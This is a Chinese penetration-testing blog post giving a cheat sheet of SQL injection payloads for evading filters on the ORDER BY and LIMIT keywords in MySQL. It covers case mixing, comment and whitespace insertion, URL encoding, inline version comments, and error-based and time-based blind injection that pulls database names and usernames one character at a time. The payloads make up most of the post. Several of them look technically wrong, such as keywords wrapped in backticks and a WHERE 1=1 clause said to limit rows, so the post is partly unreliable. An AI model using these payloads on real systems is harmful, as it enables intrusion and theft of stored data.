当前位置: 首页 > news >正文

渗透测试【绕过过滤order by 、limit】

目录

绕过 过滤order by

一、基础字符混淆

二、数据库特性利用(这里基于MySQL)

三、功能等价替代

1. 使用 GROUP BY + 聚合函数

2. 利用 UNION 子查询排序

3. 数学表达式排序

四、无ORDER BY的注入技巧

1. 错误盲注替代

2. 时间盲注探测

绕过 过滤limit

一、通用绕过方法

二、数据库特性利用(基于MySQL数据库)

三、无LIMIT的注入技巧

1. 联合查询控制结果数

2. 错误盲注分页

3. 时间盲注逐条提取


绕过 过滤order by

一、基础字符混淆

1. 大小写变形

  • 原理:利用数据库不区分关键字大小写的特性。

  • OrDeR By 1 -- 
    oRdeR bY (CASE WHEN 1=1 THEN id ELSE name END) --

2. 插入干扰字符 

  • 原理:通过注释符、空白符等分割关键字。

  • ORD/*随机注释*/ER BY 1 -- 
    ORD%0a%09BY 1   -- 换行符(%0a) + 制表符(%09)

二、数据库特性利用(这里基于MySQL)

 1、内联注释:

/*!50000ORDER BY*/ 1 -- 
-- 当MySQL版本≥5.0.0时执行

2、反引号包裹列名

SELECT * FROM users ORDER `BY` `id` -- 

三、功能等价替代

1. 使用 GROUP BY + 聚合函数

原理GROUP BY 默认排序(部分数据库生效)

SELECT * FROM users GROUP BY id -- MySQL可能按id排序
2. 利用 UNION 子查询排序
UNION SELECT 1,2,3 FROM users ORDER BY 1 -- 
-- 将ORDER BY注入到UNION后的子查询中
3. 数学表达式排序
SELECT * FROM users ORDER BY id+0 -- 
-- 转换为数值运算绕过关键字检测

四、无ORDER BY的注入技巧

1. 错误盲注替代

原理:通过触发错误判断排序逻辑。

ORDER BY (SELECT 1 UNION SELECT 2) -- 触发错误
-- 观察错误信息是否包含排序结果
2. 时间盲注探测
ORDER BY IF(SUBSTR(database(),1,1)='a', SLEEP(1), 1) -- MySQL
-- 根据响应延迟判断排序依据

绕过 过滤limit

一、通用绕过方法

1. 关键字混淆

  • 原理:利用数据库对关键字的宽松解析。

  • LIMIT 1 → LiMiT 1          -- 大小写混淆
    LIM%0aIT 1                 -- 插入换行符(%0a)
    L/**/IM/**/IT 1            -- 插入注释符
    %4c%49%4d%49%54%31         -- URL编码(LIMIT1)

2. 数值表达式替代 

原理:将数值转换为表达式绕过检测。

LIMIT 1 → LIMIT 0+1        -- 数学运算
LIMIT (SELECT 1)           -- 子查询返回数值

二、数据库特性利用(基于MySQL数据库)

内联注释

SELECT * FROM users /*!LIMIT*/ 1

反引号包裹关键字

SELECT * FROM users `LIMIT` 1

三、无LIMIT的注入技巧

1. 联合查询控制结果数
UNION SELECT 1,2,3 -- 默认返回所有行
→ 通过WHERE条件限制UNION结果:
UNION SELECT 1,2,3 WHERE 1=1 -- 仅返回一行
2. 错误盲注分页

原理:通过触发错误逐条提取数据。

LIMIT 0,1 → 替换为:
AND (SELECT 1 FROM (SELECT 1,2 FROM users LIMIT 0,1) AS sub) = 1
-- 若触发错误,则说明存在该行
3. 时间盲注逐条提取
AND IF((SELECT SUBSTR(username,1,1) FROM users)= 'a', SLEEP(1), 0)
-- 每次只验证一行首字符,无需LIMIT

相关文章:

  • 用DeepSeek来帮助学习three.js加载3D太极模形
  • 无人机遥控器的亮度 和 两个工作频率
  • python中的JSON数据格式
  • android keystore源码分析
  • 代码随想录算法训练营第五十天| 动态规划12
  • centos9之ESXi环境下安装
  • windows设置暂停更新时长
  • <02.26>Leetcode
  • 力扣LeetCode:1472 设计浏览器历史记录
  • 驭势科技9周年:怀揣理想,踏浪前行
  • 《Linux系统编程篇》共享内存(Linux 进程间通信(IPC))——基础篇
  • 在 Vue 组件中,如何确认父组件在 add 模式下传入 value 的情况及其对子组件 getProducts() 方法的触发影响?
  • matlab 七自由度车辆模型轮毂电机驱动电动汽车的振动分析
  • 【01】Cocos游戏开发引擎从0开发一款游戏-cocos环境搭建以及配置-Cocos Creator软件系统下载安装-node环境-优雅草卓伊凡
  • Python Cookbook-2.14 回退输入文件到起点
  • 【Linux】进程优先级 | 进程调度(三)
  • TCP/IP 5层协议簇:物理层
  • 软件工程----敏捷模型
  • 医疗UI的特殊法则:复杂数据可视化的“零错误”设计守则
  • MySQL 存储过程详解
  • 湖南建设集团网站/2023年10月疫情还会严重吗
  • 网站关闭多久排名会下降/友情链接查询结果
  • wordpress ftp下载/常州网站优化
  • WordPress子站站群/百度网站免费优化软件下载
  • 独立网站如何做/企业百度推广
  • 好的手机网站推荐/html简单网页代码